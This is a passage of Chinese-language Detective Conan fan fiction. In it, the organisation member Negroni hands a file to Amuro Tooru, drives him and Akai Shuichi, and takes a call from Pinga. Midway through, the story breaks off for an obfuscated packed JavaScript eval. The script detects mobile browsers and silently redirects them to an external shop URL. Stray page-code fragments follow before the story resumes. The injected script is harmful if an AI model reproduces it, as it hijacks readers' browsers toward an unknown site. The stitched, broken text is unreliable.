阿莱塔面露不愉,“朗姆的权限也足够覆盖这份资料的移交处理。他交给我的任务,我会直接交给他,除非他本人告诉我,让我直接转交给你。”
“遗憾的是,目前我还没有收到这样的通知。”
她决定夺回属于前辈的控制权。
“你告诉贝尔摩德,想拿资料,让她自己和朗姆说。”
安室透对这样的回应并不意外,短暂地权衡后拿出手机,拨通了贝尔摩德的号码。
“什么事?”贝尔摩德的声音从听筒里传来,淡漠急促,如同刚从某个场合里抽身出来。
景光站在旁边,在阿莱塔和安室透之间保持着一段距离,他早已嗅到内格罗尼对zero的敌意,却想不通这份敌意从何而起。
一边是同为卧底的幼驯染,一边是组织中的代号成员。
很明显他得站在内格罗尼这边。
在明面上。
“贝尔摩德。”阿莱塔不轻不重地喊了一声。
“哦?是内格罗尼啊……”贝尔摩德惊讶了一下,又恢复了那魅惑的强调,尾音拖得长长的,“看来我派出的人并没有成功取走那份资料。”
“不过你这么坚持,我要是再让安室继续从你手里抢,好像也不太合适。”
“本来就不太合适。”阿莱塔义正言辞。
她虽私下调查过野村彰,知道这份资料里并没有珍贵的信息,但如果贝尔摩德随便派个人来就能直接截走她的任务成果——那她在朗姆那边的形象就会受损。
贝尔摩德笑了笑,无意回避阿莱塔的锋芒:“只可惜,这份资料是那位大人要的,你懂我意思吧。”
“明白了。”
早说是那位大人的命令啊。
阿莱塔利落地把文件袋抛给安室透,对景光说了声,“走吧。”
阿莱塔坐进副驾驶座,拇指无意识地摩挲袖口,看起来在评估刚刚的交涉,也没什么不满的表情。
安室透站在街边,手里还握着那部手机,屏幕已经暗了。他低头看了一眼,然后朝车这边迈了半步,举起手来,用指节轻轻敲了两下副驾驶的车窗。
阿莱塔按下了按钮,窗玻璃缓缓降下,露出窄窄的缝,“还有什么事?”
安室透微微弯下腰来,嘴角上扬弧度完美,目光与她平齐,说话时略带歉意:“能麻烦送我一程吗?这个地方不太好叫车。我过来的时候是搭贝尔摩德的车,她先走了。”
“我接下来要走的方向可能不太顺路。”
“没关系,您顺路把我放到最近的地铁站就行。
他自然地接住了这个答复,随后自来熟地拉开后排车门,坐了进去。
景光从后视镜里看到了他的动作,握着方向盘等待下一个指令。
真担心zero这种入室抢劫式社交会激怒内格罗尼。
阿莱塔说:“走吧,往前开一段。”
景光踩下油门,车子平稳地驶入主路。
后排的安室透安静了一会儿,目光看向窗外的街道布局和路牌分布,自然开口:“内格罗尼,你刚才的任务目标是个研究员?”
阿莱塔没有转头:“是资料。”
“那个研究员怎么样?”
听到幼驯染的疑问,景光的注意力从前方路况上稍微偏移。
“死了。”阿莱塔回答。
“哦?”安室透嘴角斜挑带着玩味,眼神却如鹰隼般锐利,“我猜动手的人不是您……”
阿莱塔一不小心从车内后视镜看到了安室透的“恶人笑”,心里的火开始燃烧,“你笑得真可恶。”
景光忍俊不禁,暗自想:“演技真精湛啊,连组织成员都看不下去了。”
阿莱塔瞟了一眼远处路口的高楼轮廓,“前面那栋楼,靠边停一下。”
安室透的目光落向路边一个正在走过来的身影,那个男人穿着一件深色外套,背着一个长条形的乐器袋,针织帽低低压在额前。
“上车。”阿莱塔中肯地说,“任务完成得不错,没有留下什么痕迹吧。”
“没有。”赤井秀一看到了后排拿着文件袋的陌生男人,没有多话,拉开后排另一侧的车门,坐稳后放下乐器袋。
“安室透,幸会。”安室透主动介绍,笑意不达眼底。
“诸星大。”赤井秀一冷漠道。
安室透忽略他的态度,向阿莱塔询问:“这位先生也是你的手下?”
“琴酒的手下。”
“这样啊……”安室透笑了一下,没有再问,他转过头看向窗外,确认自己所在的路段,“前面那个路口把我放下来就行,我约了人在附近碰面。”
景光在前方路口靠边停车。
安室透推开车门,下车后朝车窗里说了一句:“谢谢,回见。”
内格罗尼和他在组织里见过的人不太一样。
一路上他都在观察她的动作和微表情,并察觉到自己已经被讨厌了,然而当他抛出了诸多问题时,内格罗尼仍然耐烦地解释。
他关上车门,站在路边目送车辆远去,眼睛紧盯着后座的针织帽。
“你去哪儿?”阿莱塔问。
赤井秀一报了个地址,这是他卧底时期在日本的住所。
阿莱塔让诸伏景光先开车去那儿,出于对明美的保护与关心,她提醒道:“小心点,他可能会查你。”
“随他查。”赤井秀一回答道。
真是从容啊。
这就是对自身实力的自信吗。
阿莱塔小小羡慕一下。
“绿川,你也要多多注意,早做防范。”阿莱塔又看向开车的诸伏景光。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932771|213655||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
景光假意思考一会儿,故作疑惑:“难不成……他和昨晚的事有关?”
试探一下内格罗尼,看看她是不是知道了安装窃听器的人是zero。
阿莱塔郑重点头。
“您是怎么发现的?”
有机会的时候告诉zero。
阿莱塔正准备回答,急促的手机铃声像催命般响起,她蹙眉掏出手机,看到来电显示后更是紧张起来。
怎么现在给她打电话。
诸伏景光极快地瞟到了手机上的人名,赤井秀一则通过车内后视镜看到了那个代号。
——宾加。
“怎么了。”阿莱塔按了按人中。
她有点不祥的预感。
“格拉帕来日本了。”
宾加的声音极具穿透力,如薄薄的玻璃刀划过瓷片,引得阿莱塔调小了通话音量。
“是吗?”阿莱塔把手伸出车窗,感受着气流的涌动。
“你那边有人?好吧,看来还得等会儿才能好好和你交流一番。”宾加的语调跳跃着,就像遇到了什么有趣的事,急不可耐地想要分享给同僚。
“没事,你说吧。”阿莱塔神色蔫蔫。
真不幸,又和要格拉帕碰着了。
“我现在已经成功潜入‘太平洋浮标’项目,哼,用不了多久,我就会完成朗姆指派的任务了……届时,我就会取代库拉索成为朗姆的心腹。”说到这里,宾加狂傲大笑,仿佛看到了自己璀璨的未来。
“进展这么快?”阿莱塔吃惊,她来日本前才知道宾加受命盗取“太平洋浮标”系统中的跨龄识别技术权限,“没想到短短几个月就成功潜入了,你真是组织不可多得的人才呀。”
阿莱塔夸得太真心实意,宾加心情愉悦了不少,一扫之前因琴酒而起的雾霾,还准备提点她几句,“格拉帕就是个SOB……呵呵,我在日本还有可以用的人,到时候把他们的档案发给你,你可以直接让他们做事。”
“好啊,那我就收下了。”阿莱塔拨弄了几下胸前的头发,“回去再和你通电话,再见。”
无论是诸伏景光还是赤井秀一,在内格罗尼接电话时都是放轻呼吸,竖着耳朵偷听。
可惜通话音量太小,再留意也只得到了寥寥信息。
【格拉帕来日本了】
意大利果渣白兰地,用酿酒剩下的葡萄皮、籽蒸馏,风味强劲。
【没想到短短几个月就成功潜入了,你真是组织不可多得的人才呀】
代号为宾加的成员潜入了不知名组织,专业水平高。
【那我就收下了】
内格罗尼所说的收下的东西是什么?
刚刚加入组织的卧底总像海洋里潜行的鲨鱼,哪怕只有一滴血的腥味,都足以撩拨他们心底疯狂的躁动。